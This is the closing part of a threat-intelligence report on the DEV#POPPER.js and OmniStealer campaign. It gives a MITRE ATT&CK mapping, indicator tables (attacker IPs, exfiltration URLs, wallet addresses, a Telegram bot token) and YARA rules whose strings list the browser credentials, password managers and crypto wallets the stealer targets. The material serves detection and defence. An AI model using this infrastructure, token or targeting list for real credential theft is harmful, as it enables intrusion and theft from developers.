brutally asymmetric: attackers invest minimal resources (very low blockchain fees, freely available malware frameworks) to achieve persistent compromise of high-value targets, while defenders face the daunting challenge of securing increasingly complex development environments against threats that leave minimal forensic evidence and operate through infrastructure that cannot be taken down.\n\n## Resources & Detection Tooling\n\nTo support the security community in detecting and analysing this attack chain, we have made the following resources publicly available:\n\n**GitHub Repository:** https://github.com/Ransom-ISAC-Org/LOCKSTAR/tree/main/XCTDH\\_Crypto\\_Heist\n\nThis repository includes:\n\n* Complete malware samples (DEV#POPPER.js and OmniStealer) for analysis and testing\n* YARA rules for detecting payload variants, obfuscation patterns, and execution behaviours\n* Microsoft Defender for Endpoint detection rules tailored for this campaign\n* Sigma rules for SIEM correlation and threat hunting\n* PayloadFetcher.js - simulation script demonstrating blockchain query chains and decryption routines\n* Indicators of Compromise (IoCs) including C2 endpoints, Telegram bot tokens, and blockchain addresses\n\nThese resources enable security teams to build comprehensive detection capabilities, hunt for similar threats in their environments, conduct tabletop exercises simulating this attack chain, and contribute to the collective defense against blockchain-based malware infrastructure.\n\n## Acknowledgments\n\nWe extend our deepest gratitude to all collaborators who contributed their expertise to this investigation: Fran\u00e7ois-Julien Alcaraz, Nick Smart, Yashraj Solanki, Joshua Penny, Michael Minarovic, and Tammy Harper. Special thanks to the Ransom-ISAC members whose collective intelligence, collaborative approach, and tireless analysis made this comprehensive technical breakdown possible.\n\n## Final Thoughts\n\nThe DEV#POPPER.js and OmniStealer campaign is not an isolated incident\u2014it's a preview of the threat landscape's future. As blockchain infrastructure becomes further entrenched in attacker toolkits and state-sponsored capabilities proliferate into cybercriminal hands, organisations must fundamentally rethink their defensive strategies. Traditional perimeter security, signature-based detection, and infrastructure takedowns are insufficient against adversaries who operate through immutable, decentralised networks and deploy cross-platform malware designed for developer environments.\n\nDefenders must invest in specialised blockchain analysis capabilities, behavioral detection systems that identify anomalous cryptocurrency API interactions, and comprehensive credential management programs that assume browser-stored secrets are inherently compromised. Developer workstations\u2014long treated as trusted endpoints\u2014must be recognised as high-value targets requiring endpoint detection and response (EDR), application whitelisting, and rigorous network segmentation from production infrastructure.\n\nThe arms race continues, but with proper awareness, detection capabilities, and defensive depth, organisations can significantly reduce their attack surface and detect these sophisticated threats before catastrophic data loss occurs.\n\n# Mitre ATT&CK\n\n| Tactic | Tactic ID | Technique | Technique ID |\n| --- | --- | --- | --- |\n| Initial Access | TA0001 | Phishing | T1566 |\n| Initial Access | TA0001 | Supply Chain Compromise | T1195 |\n| Execution | TA0002 | Command and Scripting Interpreter: JavaScript | T1059.007 |\n| Execution | TA0002 | Command and Scripting Interpreter: Python | T1059.006 |\n| Execution | TA0002 | User Execution: Malicious File | T1204.002 |\n| Persistence | TA0003 | Boot or Logon Autostart Execution | T1547 |\n| Defense Evasion | TA0005 | Obfuscated Files or Information | T1027 |\n| Defense Evasion | TA0005 | Deobfuscate/Decode Files or Information | T1140 |\n| Credential Access | TA0006 | Credentials from Password Stores: Credentials from Web Browsers | T1555.003 |\n| Discovery | TA0007 | System Information Discovery | T1082 |\n| Collection | TA0009 | Data from Local System | T1005 |\n| Command and Control | TA0011 | Application Layer Protocol: Web Protocols | T1071.001 |\n| Command and Control | TA0011 | Non-Application Layer Protocol | T1095 |\n| Command and Control | TA0011 | Encrypted Channel | T1573 |\n| Command and Control | TA0011 | Remote Access Software | T1219 |\n| Exfiltration | TA0010 | Exfiltration Over C2 Channel | T1041 |\n| Exfiltration | TA0010 | Exfiltration Over Web Service | T1567 |\n\n# Indicators of Compromise (IOCs)\n\n## Malware-Related IOCs\n\n| Type | Indicator | Notes |\n| --- | --- | --- |\n| Initial Multi-Payload Stager (tailwind.config.js / Payload1) | `16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8` | SHA256 of initial payload |\n| Payload1\\_1 (Payload Stager) | `ee3cc7c6bd58113f4a654c74052d252bfd0b0a942db7f71975ce698101aec305` | SHA256 |\n| Payload1\\_2 (HTTP Payload Stager) | `ce47fef68059f569d00dd6a56a61aa9b2986bee1899d3f4d6cc7877b66afc2a6` | SHA256 |\n| Payload1\\_1\\_1 (Dev#Popper.js RAT) | `eefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30` | SHA256 |\n| Payload1\\_2\\_1 (InfoStealer Stager) | `8c0233a07662934977d1c5c29b930f4acd57a39200162cbd7d2f2a201601e201` | SHA256 |\n| Payload1\\_2\\_1\\_1 (Python OmniStealer) | `7a62286e68d879b45da710e1daa495978dcae31ae8f0709018a7d82343ec57e8` | SHA256 |\n| Python Installer Download | `http://[IP]:27017/d/python.zip` | Downloader path |\n| Alternative Python Installer | `http://[IP]:27017/d/python.7z` | Downloader path |\n| 7-Zip Extractor Download | `http://[IP]:27017/d/7zr.exe` | Tool to extract payloads |\n| Infection Marker (mutex-like) | `/*C250618A*/` | Marker string in payload (possible mutex or infection flag) |\n\n## Network-Related IOCs\n\n| Type | Indicator | Notes |\n| --- | --- | --- |\n| C2 IP | `23.27.20[.]143` | Obfuscated dotted octet shown \u2014 use deobfuscated 23.27.20.143 in detections |\n| C2 IP | `136.0.9[.]8` | Payload1\\_1\\_1 and Payload1\\_2\\_1 |\n| C2 IP | `23.27.202[.]27` | Payload1\\_1\\_1 and Payload1\\_2\\_1 |\n| C2 IP | `166.88.4[.]2` | Payload1\\_1\\_1 and Payload1\\_2\\_1 |\n| Data exfil endpoint (Mongo-style) | `http://[IP]:27017/verify-human/[version]` | Port 27017 (Mongo) used as HTTP exfil channel |\n| Env vars exfil | `http://[IP]:27017/snv` | endpoint name snv |\n| Text notifications HTTP C2 | `POST to {C2_IP}/verify-human/{channel}` | Behavioral rule: outbound HTTP POSTs to /verify-human/ |\n| Python installer downloads | `http://[IP]:27017/d/python.zip`, `http://[IP]:27017/d/python.7z` | Monitor any http download of python.zip/.7z from external IPs |\n| 7-Zip Extractor Download | `http://[IP]:27017/d/7zr.exe` | Tool to extract payloads |\n| Python payload delivery | `http://[IP]:27017/$/z1` | suspicious path $ and z1 |\n| GitHub repo (URL) | `https[:]//github[.]com/isasmallbit/store-v` | obfuscated Github repo URL |\n| GitHub repo invitation | `hxxps[://]github[.]com/isasmallbit/store-v/invitations` | received via email from GitHub ([email\u00a0protected]) |\n| URL (full) | `https[:]//github[.]com/isasmallbit/store-v` | same as above |\n| Telegram Bot token | `7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU` | Telegram bot token \u2014 treat as credential/secret |\n| Telegram chat\\_id(s) | `7609033774` (default), `7699029999` (v-A), `4697384025` (v-0) | Chat IDs used for notifications |\n| Email (operator / contact) | `karsy117@gmail[.]com` | operator email |\n| Email (302 response) | `[email\u00a0protected]` | observed in redirect/302 response |\n| LinkedIn profile (302 response) | https://www.linkedin.com/in/duane-goodner/ | used in redirect |\n| GitHub (302 response) | https://github.com/duanegoodner | used in redirect |\n| URL (full GitHub) | https://github.com/duanegoodner | monitor attempts to contact this resource |\n\n## Crypto / Blockchain IOCs (Separated)\n\n| Type | Indicator | Notes |\n| --- | --- | --- |\n| TRON Wallet (Payload1 Index 1) | `TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP` | TRON address (starts `T`) |\n| TRON Wallet (Payload1 Index 2) | `TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG` | TRON address |\n| TRON Wallet (Payload1\\_1 Index) | `TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatSe` | TRON address |\n| BSC Address (Payload1 and Payload1\\_1) | `0x9BC1355344B54DEDf3E44296916eD15653844509` | BSC (Ethereum-format) address |\n| Aptos Address (Payload1\\_1) | `0x3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837` | Aptos / hex 64 |\n| Aptos Hash (Payload1 Fallback 1) | `0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e` | tx/hash style |\n| Aptos Hash (Payload1 Fallback 2) | `0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3` | tx/hash |\n| BSC Tx Hash (Payload1 Hash 1) | `0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc` | 0x + 64 hex |\n| BSC Tx Hash (Payload1 Hash 2) | `0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef` | 0x + 64 hex |\n| BSC Tx Hash (Payload1\\_1 Hash) | `0xa8cdabea3616a6d43e0893322112f9dca05b7d2f88fd1b7370c33c79076216ff` | repeated in list |\n\n# YARA Rules\n\n## Rule 1: Actor\\_APT\\_DPRK\\_Unknown\\_MAL\\_Script\\_PY\\_Stealer\\_Unknown\\_Strings\\_1\\_1Oct25\n\n```\nrule Actor_APT_DPRK_Unknown_MAL_Script_PY_Stealer_Unknown_Strings_1_1Oct25\n{\n      meta:\n            rule_id = \"7919137c-de06-43cc-800a-76c726b45fbd\"\n            date = \"16-10-2025\"\n            author = \"Ransom-ISAC\"\n            //Payload 1_2_1_1 OmniStealer\n            description = \"Detects cluster of Python Scripts that are likely developed by a DPRK Nexus group\"\n            filehash = \"742016f01fa89be4d43916d5d2349c8d86dc89f096302501ec22b5c239685a20\"\n\n      strings:\n            $bwr1 = \"microsoft-edge\" ascii\n            $bwr2 = \"google-chrome\" ascii\n            $bwr3 = \"Brave-Browser\" ascii\n\n            $func1 = \"socket.gethostname()\" ascii\n            $func2 = \"getpass.getuser()\" ascii\n            $func3 = \"platform.platform()\" ascii\n\n            $str1 = \"1Password\" ascii\n            $str2 = \"secretstorage\" ascii\n            $str3 = \"networkWallet\" ascii\n            $str4 = \"readPassword\" ascii\n            $str5 = \"cookie_files\" ascii\n            $str6 = \"login_files\" ascii\n            $str7 = \"credit_cards\" ascii\n            $str8 = \"masterPassword\" ascii\n            $str9 = \"moz_cookies\" ascii\n            $str10 = \"http-upload\" ascii\n            $str11 = \"tg-upload\" ascii\n\n            $pass1 = \"ProtonPass\" ascii\n            $pass2  = \"MEGAPass\" ascii\n            $pass3  = \"DualSafe\" ascii\n            $pass4  = \"FreePasswordManager\" ascii\n            $pass5  = \"GoogleAuth\" ascii\n\n            $params1 = \"osx_key_user\" ascii\n            $params2 = \"osx_key_service\" ascii\n            $params3 = \"os_crypt_name\" ascii\n            $params4 = \"windows_keys\" ascii\n            $params5 = \"osx_cookies\" ascii\n            $params6 = \"windows_cookies\" ascii\n            $params7 = \"linux_cookies\" ascii\n            $params8 = \"osx_logins\" ascii\n            $params9 = \"windows_logins\" ascii\n            $params10 = \"linux_logins\" ascii\n\n            $crpt1 = \"Bitwarden\" ascii\n            $crpt2 = \"NordPass\" ascii\n            $crpt3 = \"Dashlane\" ascii\n            $crpt4 = \"kwallet\" ascii\n\n            $pths1 = \"/.config/chromium/\" ascii\n            $pths2 = \"/.config/opera/\" ascii\n            $pths3 = \"/.config/BraveSoftware/\" ascii\n            $pths4 = \"/.config/microsoft-edge\" ascii\n            $pths5 = \"/.config/vivaldi/\" ascii\n            $pths6 = \"%APPDATA%\\\\\\\\*\\\\\\\\*\\\\\\\\*\\\\\\\\User Data*\" ascii\n\n            $walls1 = \"Dogecoin/wallets.dat\" ascii\n            $walls2 = \"Bitcoin/wallets\" ascii\n            $walls3 = \"Electrum/wallets\" ascii\n            $walls4 = \"Exodus/exodus.wallet\" ascii\n            $walls5 = \"Monero/wallets\" ascii\n\n            $drv1 = \"iCloud Drive\" ascii\n            $drv2 = \"SkyDrive\" ascii\n            $drv3 = \"OneDrive\" ascii\n            $drv4 = \"My Drive\" ascii\n            $drv5 = \"Dropbox\" ascii\n            $drv6 = \"pCloud\" ascii\n            $drv7 = \"Box\" ascii\n            $drv8 = \"iCloud\" ascii\n            $drv9 = \"SkyDrive\" ascii\n            $drv10 = \"GoogleDrive\" ascii\n            $drv11 = \"Dropbox\" ascii\n            $drv12 = \"Mega\" ascii\n\n      condition:\n            any of ($bwr*)\n            and any of ($func*)\n            and 5 of ($str*)\n            and 2 of ($pass*)\n            and 5 of ($params*)\n            and 2 of ($crpt*)\n            and 3 of ($pths*)\n            and 2 of ($walls*)\n            and 6 of ($drv*)\n            and filesize < 250KB\n\n      /*------------------------Matches = 2---------------------------\n    742016f01fa89be4d43916d5d2349c8d86dc89f096302501ec22b5c239685a20  ---Communicating across found C2 infra\n    a7d7075e866132b8e8eb87265f7b7fab0e9f6dd7f748445a18f37da2e989faa3  ---Communicating across found C2 infra\n    */\n}\n```\n\n## Rule 2: Actor\\_APT\\_DPRK\\_Unknown\\_MAL\\_Script\\_PY\\_Stealer\\_Unknown\\_Strings\\_2\\_Oct25\n\n```\nrule Actor_APT_DPRK_Unknown_MAL_Script_PY_Stealer_Unknown_Strings_2_Oct25\n{\n      meta:\n            rule_id = \"2c2a60ce-55cf-40ab-92c4-7ee961b0d00c\"\n            date = \"17-10-2025\"\n            author = \"Ransom-ISAC\"\n            //Payload 1_2_1_1 OmniStealer\n            description = \"Detects cluster of Python Scripts that are likely developed by a DPRK Nexus group\"\n            filehash = \"236ff897dee7d21319482cd67815bd22391523e37e0452fa230813b30884a86f\"\n\n      strings:\n            $dot1 = \".onetoc2\" ascii\n            $dot2 = \".onenote\" ascii\n            $dot3 = \".one\" ascii\n            $dot4 = \".kbdx\" ascii\n\n            $func1 = \"socket.gethostname()\" ascii\n            $func2 = \"getpass.getuser()\" ascii\n            $func3 = \"platform.platform()\" ascii\n\n            $pc1 = \"pc_name\" ascii\n            $pc2 = \"pc_info\" ascii\n            $pc3 = \"pc_login\" ascii\n\n            $x1 = \"metamask\" ascii\n            $x2 = \"phantom\" ascii\n            $x3 = \"exodus\" ascii\n            $x4 = \"atomic\" ascii\n            $x5 = \"bitcoin\" ascii\n            $x6 = \"ethereum\" ascii\n            $x7 = \"solana\" ascii\n            $x8 = \"aptos\" ascii\n            $x9 = \"electrum\" ascii\n            $x10 = \"tronlin\" ascii\n            $x11 = \"coinbase\" ascii\n            $x12 = \"binance\" ascii\n\n            $y1 = \"gitconfig\" ascii\n            $y2 = \"tsconfig\" ascii\n            $y3 = \"bootconfig\" ascii\n            $y4 = \"pw-config\" ascii\n\n            $z1 = \"cli_mode\" ascii\n            $z2 = \"dev_mode\" ascii\n            $z3 = \"cli_mode\" ascii\n            $z4 = \"debug_mode\" ascii\n\n      condition:\n            2 of ($dot*)\n            and any of ($func*)\n            and any of ($pc*)\n            and 6 of ($x*)\n            and 2 of ($y*)\n            and 2 of ($z*)\n            and filesize < 100KB\n}\n```\n\n## Rule 3: Actor\\_APT\\_DPRK\\_Unknown\\_MAL\\_Script\\_JS\\_Loader\\_Unknown\\_Strings\\_Oct25\n\n```\nrule Actor_APT_DPRK_Unknown_MAL_Script_JS_Loader_Unknown_Strings_Oct25\n{\n      meta:\n            rule_id = \"dbcf26b3-7b8c-447d-97ad-43de0d6e42e6\"\n            date = \"17-10-2025\"\n            author = \"Ransom-ISAC\"\n            description = \"Detects cluster of JS Scripts that are likely developed by a DPRK Nexus group\"\n            filehash = \"be21bf4ad94c394202e7b52a1b461ed868200f0f03b3c8544984e9765c23e1e0\"\n\n      strings:\n            $hex = {676c6f62616c2e5f56203d202743352d62656e6566697427} //global._V = 'C5-benefit'\n\n            $js1 = \"global.r\" ascii\n            $js2 = \"global._V\" ascii\n\n            $var1 = \"C5-benefit\" ascii\n            $var2 = \"C250617A\" ascii\n            $var3 = \"CHQG3L42MMQ\" ascii\n            $var4 = {68 74 74 70 3a 2f 2f 22 20 2b 20 ?? 20 2b 20 22 3a (32 37 30 31 37 | 44 44 43)} //IP:Port pattern\n\n            $str1 = \"crypto\" ascii\n            $str2 = \"socket\" ascii\n            $str3 = \"hostname\" ascii\n            $str4 = \"axios\" ascii\n            $str5 = \"form-data\" ascii\n\n            condition:\n                  $hex\n                  or (\n                        any of ($js*)\n                        and any of ($var*)\n                        and any of ($str*)\n                  )\n                  and filesize < 75KB\n}\n```\n\n## Rule 4: Actor\\_APT\\_DPRK\\_Unknown\\_MAL\\_Script\\_JS\\_RAT\\_Unknown\\_Strings\\_Oct25\n\n```\nrule Actor_APT_DPRK_Unknown_MAL_Script_JS_RAT_Unknown_Strings_Oct25\n{\n      meta:\n            rule_id = \"96fd2b7e-355e-43fc-a581-6ebda388b761\"\n            date = \"19-10-2025\"\n            author = \"Ransom-ISAC\"\n            //Payload1_1_1 Cross-Platfrom NodeJS RAT\n            description = \"Detects cluster of obfuscated JS Scripts that are likely developed by a DPRK Nexus group\"\n            filehash = \"eefe39fe88e75b37babb37c7379d1ec61b187a9677ee5d0c867d13ccb0e31e30\"\n\n      strings:\n            $str1 = \"Promise\" ascii wide\n            $str2 = \"['_V']\" ascii wide\n            $str3 = \"['_R']\" ascii wide\n            $str4 = \"atob\" ascii wide\n\n            condition:\n                all of them\n                and filesize < 100KB\n}\n```\n\n## Rule 5: Actor\\_APT\\_DPRK\\_Unknown\\_MAL\\_Indicators\\_Strings\\_Oct25\n\n```\nrule Actor_APT_DPRK_Unknown_MAL_Indicators_Strings_Oct25\n{\n      meta:\n            rule_id = \"10982aed-1c45-4864-a6ff-ffd19f38912d\"\n            date = \"19-10-2025\"\n            author = \"Ransom-ISAC\"\n            description = \"Detects cluster of DPRK Nexus malware based on known artifacts\"\n\n      strings:\n            $XOR1 = {32 5b 67 57 66 47 6a 3b 3c 3a 2d 39 33 5a 5e 43}\n            $XOR2 = {6d 36 3a 74 54 68 5e 44 29 63 42 7a 3f 4e 4d 5d}\n            $XOR3 = {63 41 5d 32 21 2b 33 37 76 2c 2d 73 7a 65 55 7d}\n            $XOR4 = {54 68 5a 47 2b 30 6a 66 58 45 36 56 41 47 4f 4a}\n            $XOR5 = {34 23 75 4c 65 56 4d 5b 33 6c 45 53 4c 47 41}\n            $XOR6 = {39 4b 79 41 53 74 2b 37 44 30 6d 6a 50 48 46 59}\n            $XOR7 = {54 68 5a 47 2b 30 6a 66 58 45 36 56 41 47 4f 4a}\n\n            $tron1 = \"TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\" ascii wide\n            $tron2 = \"TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\" ascii wide\n            $tron3 = \"TLmj13VL4p6NQ7jpxz8d9uYY6FUKCYatS\" ascii wide\n\n            $aptos1 = \"be037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\" ascii wide\n            $aptos2 = \"3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\" ascii wide\n            $aptos3 = \"3414a658f13b652f24301e986f9e0079ef506992472c1d5224180340d8105837\" ascii wide\n\n            $bsc1 = \"f46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\" ascii wide\n            $bsc2 = \"d33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef\" ascii wide\n            $bsc3 = \"a8cdabea3616a6d43e0893322112f9dca05b7d2f88fd1b7370c33c79076216ff\" ascii wide\n\n            $telegram = \"7870147428:AAGbYG_eYkiAziCKRmkiQF-\" ascii wide\n\n            $marker = \"*C250617A*\" ascii wide\n\n            $obfs1 = \"_$af402041\" ascii wide\n            $obfs2 = \"_$af813180\" ascii wide\n            $obfs3 = \"_$_2d00[]\" ascii wide\n\n      condition:\n            any of them\n}\n```\n\nFound this article helpful?\n\nShare it with your network\n\nShare:\n\n## Continue Reading\n\nExplore more expert insights and threat intelligence from the Ransom-ISAC community\n\nView All Articles",
        "id": "1952",
        "event_id": "367807",
        "timestamp": "1761760515",
        "uuid": "6e876a9d-bb20-4abc-af79-2a4afceff6a6",
        "deleted": false
      }
    ]
  }
}